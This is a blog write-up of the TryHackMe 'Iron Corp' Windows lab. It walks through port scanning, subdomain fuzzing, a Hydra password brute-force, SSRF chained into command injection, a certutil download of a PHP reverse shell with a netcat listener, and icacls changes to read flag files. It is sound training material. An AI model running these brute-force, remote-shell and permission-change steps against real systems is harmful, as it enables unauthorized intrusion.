Post

Iron Corp

Posted Updated
Windows Hard Level Machine 👹
Windows Hard Level Machine 👹
By Shivendra Prajapati 5 min read
Machine Linkhttps://tryhackme.com/r/room/ironcorp
Operating SystemWindows
DifficultyHard
Machine Created byMrSeth6797

Port Scan Results ⤵️

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┌──(kali㉿kali)-[~/Downloads/Tryhackme/Iron_corp]
└─$ nmap -sC -sV -T4 -p- -oN Nmap_Results.txt -Pn 10.10.130.211
Nmap scan report for ironcorp.me (10.10.130.211)
Host is up (0.22s latency).
Not shown: 65528 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
135/tcp   open  msrpc         Microsoft Windows RPC
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2024-03-21T03:55:35+00:00; 0s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: WIN-8VMBKF3G815
|   NetBIOS_Domain_Name: WIN-8VMBKF3G815
|   NetBIOS_Computer_Name: WIN-8VMBKF3G815
|   DNS_Domain_Name: WIN-8VMBKF3G815
|   DNS_Computer_Name: WIN-8VMBKF3G815
|   Product_Version: 10.0.14393
|_  System_Time: 2024-03-21T03:55:27+00:00
| ssl-cert: Subject: commonName=WIN-8VMBKF3G815
| Not valid before: 2024-03-20T03:46:08
|_Not valid after:  2024-09-19T03:46:08
8080/tcp  open  http          Microsoft IIS httpd 10.0
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Dashtreme Admin - Free Dashboard for Bootstrap 4 by Codervent
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
11025/tcp open  http          Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.4.4)
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.4.4
| http-methods: 
|_  Potentially risky methods: TRACE
49666/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Web Enumeration ⤵️

I checked port 8080 and got this interesting static site 🔽

Image Dashboard Page

Looked into some subdomains through feroxbuster Tool.

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┌──(kali㉿kali)-[~/Downloads/Tryhackme/Iron_corp]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host: FUZZ.ironcorp.me" -u http://ironcorp.me:11025/ -fs 2739 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/'       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://ironcorp.me:11025/
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.ironcorp.me
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 2739
________________________________________________

admin                   [Status: 401, Size: 1305, Words: 145, Lines: 48, Duration: 347ms]
internal                [Status: 403, Size: 1086, Words: 103, Lines: 43, Duration: 376ms]
[WARN] Caught keyboard interrupt (Ctrl-C)

Lets access internal.ironcorp.me subdomain ⏬

Image internal.ironcorp.me:11025 403 Error

Now lets access another subdomain ⏬

Image admin.ironcorp.me:11025 Page

Lets brute-force the Username and password with Hydra Tool 🔽

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hydra -l admin -P /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-10000.txt admin.ironcorp.me -s 11025 http-head -I

Image Hydra Tool

After Login I get this page 🔻

Image Search query

SSRF Vulnerability ⏬

I looked for SSRF vulnerability and it is indeed SSRF I verified it like this 🔽

Image SSRF response that can access local server file

So lets access the 403 Error subdomain with this may be I could able to open it through this ⏬

Image SSRF vulnerability and opened the subdomain page in it

On click here I got this redirected page :

Image Username Equinox

When I try to search any thing through name parameter I get appended to the Name like this 🔽

Image

So I tried to use separator as () in between of commands like this 🔽

Image Command Injection

Lets use our Burpsuite Tool that will intercept the request and I can modify its queries easy also , So I decided to upload php_reverse_shell.php file with certutil Tool in this system .

Image Certutil Tool worked successfully

Lets get the reverse shell now 🔽

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┌──(kali㉿kali)-[~/Downloads/Tryhackme/Iron_corp]
└─$ rlwrap nc -lvnp 445
listening on [any] 445 ...
connect to [10.11.75.200] from (UNKNOWN) [10.10.64.247] 49711
SOCKET: Shell has connected! PID: 6076
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

E:\xampp\htdocs\internal>whoami
nt authority\system

E:\xampp\htdocs\internal>cd C:\Users\Administrator

E:\xampp\htdocs\internal>C:

C:\Users\Administrator>tree /f /a
Folder PATH listing
Volume serial number is 000000FB 7805:3F28
C:.
+---Contacts
+---Desktop
|       user.txt
|       
+---Documents
+---Downloads
+---Favorites
|   |   Bing.url
|   |   
|   \---Links
+---Links
|       Desktop.lnk
|       Downloads.lnk
|       
+---Music
+---Pictures
+---Saved Games
+---Searches
\---Videos

C:\Users\Administrator>type Desktop\user.txt
thm{FLAG_FLAG_FLAG_FLAG_FLAG_FLAG}
C:\Users\Administrator>

Lets look for root.txt as I was enumerating I was resticted to enter into some directories like Admin, SuperAdmin directories so I suspected that the root.txt file must be inside these directories so I checked there permissions 🔻

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C:\Users>icacls C:\Users\SuperAdmin
C:\Users\SuperAdmin BUILTIN\Administrators:(OI)(CI)(N)
                    S-1-5-21-297466380-2647629429-287235700-1000:(OI)(CI)(F)

Successfully processed 1 files; Failed processing 0 files

C:\Users>

So I granted the permissions as Adminstrators user for full access 🔽

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C:\Users>icacls C:\Users\SuperAdmin /grant Administrator:f
processed file: C:\Users\SuperAdmin
Successfully processed 1 files; Failed processing 0 files

C:\Users>
C:\Users>icacls C:\Users\SuperAdmin
C:\Users\SuperAdmin BUILTIN\Administrators:(OI)(CI)(N)
                    WIN-8VMBKF3G815\Administrator:(F)
                    S-1-5-21-297466380-2647629429-287235700-1000:(OI)(CI)(F)

Successfully processed 1 files; Failed processing 0 files

C:\Users>

But still I can don’t have access to its directories so I suspected that the root.txt must be in Desktop/root.txt so I searched for that with its permissions and I got it like this 🔽

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PS C:\Users> icacls C:\Users\SuperAdmin\Desktop\root.txt
C:\Users\SuperAdmin\Desktop\root.txt BUILTIN\Administrators:(F)
                                     WIN-8VMBKF3G815\Administrator:(F)
                                     BUILTIN\Administrators:(I)(N)
                                     S-1-5-21-297466380-2647629429-287235700-1000:(I)(F)

Successfully processed 1 files; Failed processing 0 files
PS C:\Users>

Now I can see the content as an Administrator user 🔽

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PS C:\Users> cat C:\Users\SuperAdmin\Desktop\root.txt
thm{FLAG_FLAG_FLAG_FLAG_FLAG_FLAG}
PS C:\Users>

I am Administrator Now !!

If you have any questions or suggestions, please leave a comment below. Thank You !

TryHackMe
SSRF Windows PrivEsc Command Injection
This post is licensed under CC BY 4.0 by the author.